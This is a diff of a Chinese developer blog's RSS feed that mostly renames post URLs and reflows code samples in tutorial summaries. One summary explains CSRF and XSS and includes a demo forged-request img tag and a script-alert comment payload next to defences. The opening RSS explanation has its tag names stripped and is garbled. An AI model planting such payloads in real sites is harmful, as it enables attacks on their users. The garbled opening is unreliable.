可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt; &amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt; &amp;lt;channel&amp;gt; &amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt; &amp;lt;item&amp;gt; &amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt; &amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt; &amp;lt;/item&amp;gt; &amp;lt;/channel&amp;gt; &amp;lt;/rss&amp;gt; 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
@@ -1081,10 +1081,10 @@ RSS阅读器可以更好读取RSSfeed</description>
     
     <item>
       <title>简单了解设计模式</title>
-      <link>https://xiaochenabc123.github.io/posts/121/</link>
+      <link>https://chenjunlinabc.github.io/posts/121/</link>
       <pubDate>Tue, 30 Nov 2021 15:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/121/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/121/</guid>
       <description>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
@@ -1105,13 +1105,13 @@ RSS阅读器可以更好读取RSSfeed</description>
     
     <item>
       <title>shell脚本学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/120/</link>
+      <link>https://chenjunlinabc.github.io/posts/120/</link>
       <pubDate>Tue, 23 Nov 2021 00:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/120/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/120/</guid>
       <description>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
echo &amp;quot;hallo word&amp;quot;
执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo &amp;quot;hallo word&amp;quot; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -1136,15 +1136,15 @@ echo &amp;ldquo;hallo word&amp;rdquo;; echo &amp;ldquo;要执行的shell脚本
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
echo &amp;quot;参数1: $1&amp;quot;
echo &amp;quot;被执行的脚本为: $0&amp;quot;
}
abc hallo
.</description>
+function abc(){ echo &amp;quot;参数1: $1&amp;quot; echo &amp;quot;被执行的脚本为: $0&amp;quot; } abc hallo .</description>
     </item>
     
     <item>
       <title>简单使用Rollup模块打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/119/</link>
+      <link>https://chenjunlinabc.github.io/posts/119/</link>
       <pubDate>Wed, 10 Nov 2021 16:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/119/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/119/</guid>
       <description>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
@@ -1155,10 +1155,10 @@ npm install rollup
 查看帮助文档
 rollup &amp;ndash;help
 打包使用
-rollup -i index.js
默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
rollup -i index.js --file dist.js --format cjs
rollup -i index.js --file dist.js --format iife
打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是&amp;ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
@@ -1168,25 +1168,25 @@ rollup src/demo.js -f umd -o dist/bundle.js &amp;ndash;name hallo
     
     <item>
       <title>Web.py学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/117/</link>
+      <link>https://chenjunlinabc.github.io/posts/117/</link>
       <pubDate>Mon, 18 Oct 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/117/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/117/</guid>
       <description>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
urls = (
&amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot;
if __name__==&amp;quot;__main__&amp;quot;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
+import web urls = ( &amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot; if __name__==&amp;quot;__main__&amp;quot;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
     </item>
     
     <item>
       <title>weex跨平台框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/116/</link>
+      <link>https://chenjunlinabc.github.io/posts/116/</link>
       <pubDate>Sun, 10 Oct 2021 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/116/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/116/</guid>
       <description>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
@@ -1214,10 +1214,10 @@ weex compile 目录或者文件 打包文件存放的目录或者文件 -m
     
     <item>
       <title>操作系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/115/</link>
+      <link>https://chenjunlinabc.github.io/posts/115/</link>
       <pubDate>Thu, 07 Oct 2021 09:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/115/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/115/</guid>
       <description>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
@@ -1282,17 +1282,17 @@ CPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）
     
     <item>
       <title>简单使用mocha测试框架</title>
-      <link>https://xiaochenabc123.github.io/posts/114/</link>
+      <link>https://chenjunlinabc.github.io/posts/114/</link>
       <pubDate>Sun, 03 Oct 2021 12:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/114/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/114/</guid>
       <description>mocha是JavaScript测试框架
 安装
 npm install &amp;ndash;global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
return a+b+c
}
module.exports = abc
demo.test.js
-const demo = require(&#39;./demo.js&#39;)
const expect = require(&#39;chai&#39;).expect
describe(&#39;test&#39;, function() {
it(&#39;错误&#39;, function() {
expect(demo(1,3,7)).to.be.equal(11)
})
})
测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require(&#39;./demo.js&#39;) const expect = require(&#39;chai&#39;).expect describe(&#39;test&#39;, function() { it(&#39;错误&#39;, function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(&amp;lsquo;chai&amp;rsquo;).expect
@@ -1314,10 +1314,10 @@ npm install babel-core babel-preset-es2015 &amp;ndash;save-dev
     
     <item>
       <title>简单使用istanbul代码覆盖率工具</title>
-      <link>https://xiaochenabc123.github.io/posts/113/</link>
+      <link>https://chenjunlinabc.github.io/posts/113/</link>
       <pubDate>Thu, 30 Sep 2021 12:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/113/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/113/</guid>
       <description>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
@@ -1333,10 +1333,10 @@ istanbul check-coverage &amp;ndash;statement 60 &amp;ndash;branch -5 &amp;ndash;
     
     <item>
       <title>简单使用Lerna多包管理工具</title>
-      <link>https://xiaochenabc123.github.io/posts/112/</link>
+      <link>https://chenjunlinabc.github.io/posts/112/</link>
       <pubDate>Sun, 26 Sep 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/112/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/112/</guid>
       <description>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install &amp;ndash;global lerna
@@ -1366,10 +1366,10 @@ lerna有两个管理模式，分别是固定模式（默认模式）和独立模
     
     <item>
       <title>简单使用ESlint代码风格校验工具</title>
-      <link>https://xiaochenabc123.github.io/posts/111/</link>
+      <link>https://chenjunlinabc.github.io/posts/111/</link>
       <pubDate>Thu, 23 Sep 2021 10:06:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/111/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/111/</guid>
       <description>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint &amp;ndash;save-dev
@@ -1391,10 +1391,10 @@ npm run lint
     
     <item>
       <title>Umi框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/110/</link>
+      <link>https://chenjunlinabc.github.io/posts/110/</link>
       <pubDate>Mon, 20 Sep 2021 21:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/110/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/110/</guid>
       <description>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本&amp;gt;=10.13
@@ -1406,11 +1406,11 @@ yarn start
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default,
&amp;quot;exact&amp;quot;: true
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
&amp;quot;exact&amp;quot;: true
}
]
组件文件放在src\pages下
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default, &amp;quot;exact&amp;quot;: true },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, &amp;quot;exact&amp;quot;: true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&amp;rsquo;@/pages/xxx&amp;rsquo;)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;redirect&amp;quot;: &#39;/admin&#39;,
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
routes: [
{ path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; },
{ path: &#39;/admin/category&#39;, component: &#39;category&#39; },
]
}
]
redirect是跳转路由，当访问/的时候，跳转到/admin
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;redirect&amp;quot;: &#39;/admin&#39;, },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, routes: [ { path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; }, { path: &#39;/admin/category&#39;, component: &#39;category&#39; }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
 注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .</description>
@@ -1418,35 +1418,35 @@ exact表示是否严格匹配，就是path和组件路径是否要完全对应
     
     <item>
       <title>简单了解并且使用npm script</title>
-      <link>https://xiaochenabc123.github.io/posts/109/</link>
+      <link>https://chenjunlinabc.github.io/posts/109/</link>
       <pubDate>Mon, 20 Sep 2021 14:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/109/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/109/</guid>
       <description>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;
}
npm run dev // 等于执行node hallo.js
+&amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot; } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&amp;amp;&amp;amp;（依次运行），&amp;amp;（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;,
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;,
&amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot;
}
相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
+&amp;quot;scripts&amp;quot;: { &amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;, &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;, &amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot; } 相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
&amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot;
}
}
获取npm内部变量name
+{ &amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot; } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;
}
传递参数</description>
+&amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot; } 传递参数</description>
     </item>
     
     <item>
       <title>数据结构学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/106/</link>
+      <link>https://chenjunlinabc.github.io/posts/106/</link>
       <pubDate>Fri, 17 Sep 2021 01:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/106/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/106/</guid>
       <description>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
@@ -1463,10 +1463,10 @@ console.log(process.env.npm_package_name)
     
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
@@ -1509,53 +1509,53 @@ n rm 14.17.3</description>
     
     <item>
       <title>Angular学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/101/</link>
+      <link>https://chenjunlinabc.github.io/posts/101/</link>
       <pubDate>Mon, 13 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/101/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/101/</guid>
       <description>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt;
&amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
+&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt; &amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt; &amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
     </item>
     
     <item>
       <title>Koa框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/100/</link>
+      <link>https://chenjunlinabc.github.io/posts/100/</link>
       <pubDate>Sun, 12 Sep 2021 18:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/100/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/100/</guid>
       <description>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require(&amp;quot;koa&amp;quot;)
const app = new Koa()
app.use(async (ctx, next) =&amp;gt; {
await next()
ctx.response.type = &#39;text/html&#39;
ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39;
})
app.listen(3000)
node app.js
+const Koa = require(&amp;quot;koa&amp;quot;) const app = new Koa() app.use(async (ctx, next) =&amp;gt; { await next() ctx.response.type = &#39;text/html&#39; ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39; }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require(&#39;koa&#39;)
const app = new Koa()
app.use(async(ctx)=&amp;gt;{
const url =ctx.url
const request =ctx.request
const reqQuery = request.query
const reqQuerystring = request.querystring
ctx.body={
url,
reqQuery,
reqQuerystring
}
})
app.listen(3000,()=&amp;gt;{
console.log(&#39;port 3000&#39;)
})
http://127.</description>
+const Koa = require(&#39;koa&#39;) const app = new Koa() app.use(async(ctx)=&amp;gt;{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=&amp;gt;{ console.log(&#39;port 3000&#39;) }) http://127.</description>
     </item>
     
     <item>
       <title>简单了解CSRF攻击和XSS攻击</title>
-      <link>https://xiaochenabc123.github.io/posts/99/</link>
+      <link>https://chenjunlinabc.github.io/posts/99/</link>
       <pubDate>Sun, 12 Sep 2021 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/99/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/99/</guid>
       <description>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt;
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){
console.log(&amp;quot;验证成功!!!&amp;quot;)
}else{
console.log(&amp;quot;验证失败!!!&amp;quot;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){ console.log(&amp;quot;验证成功!!!&amp;quot;) }else{ console.log(&amp;quot;验证失败!!!&amp;quot;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&amp;lt;script&amp;gt;alert(&amp;lsquo;hack&amp;rsquo;)&amp;lt;/script&amp;gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -1575,7 +1575,7 @@ xss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt;
其中img-src对应的指定图像或者图标的有效来源
+&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt; 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
@@ -1586,10 +1586,10 @@ Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目
     
     <item>
       <title>Redis学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/97/</link>
+      <link>https://chenjunlinabc.github.io/posts/97/</link>
       <pubDate>Fri, 10 Sep 2021 21:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/97/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/97/</guid>
       <description>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
@@ -1638,10 +1638,10 @@ daemonize yes</description>
     
     <item>
       <title>Golang学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/96/</link>
+      <link>https://chenjunlinabc.github.io/posts/96/</link>
       <pubDate>Thu, 09 Sep 2021 01:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/96/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/96/</guid>
       <description>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
@@ -1657,7 +1657,7 @@ GOBIN对应着 go install安装和编译的二进制程序的安装目录
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
import &amp;quot;fmt&amp;quot;
func main(){
fmt.Println(&amp;quot;hallo golang&amp;quot;)
}
go run hallo.go
+package main import &amp;quot;fmt&amp;quot; func main(){ fmt.Println(&amp;quot;hallo golang&amp;quot;) } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -1683,10 +1683,10 @@ var abc xyz string = &amp;ldquo;hallo&amp;rdquo;,&amp;ldquo;word&amp;rdquo;</des
     
     <item>
       <title>简单使用Jest-JavaScript测试工具</title>
-      <link>https://xiaochenabc123.github.io/posts/95/</link>
+      <link>https://chenjunlinabc.github.io/posts/95/</link>
       <pubDate>Mon, 06 Sep 2021 23:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/95/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/95/</guid>
       <description>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
@@ -1694,9 +1694,9 @@ yarn add &amp;ndash;dev jest或者npm install &amp;ndash;save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
return &amp;quot;hello world&amp;quot;
}
hello.test.js
-const hello = require(&#39;../hello&#39;)
it(&#39;should &#39;, () =&amp;gt; {
expect(hello()).toBe(&#39;hello world&#39;)
})
package.json
-{
&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot;
}
}
执行测试
+module.exports = function(){ return &amp;quot;hello world&amp;quot; } hello.test.js
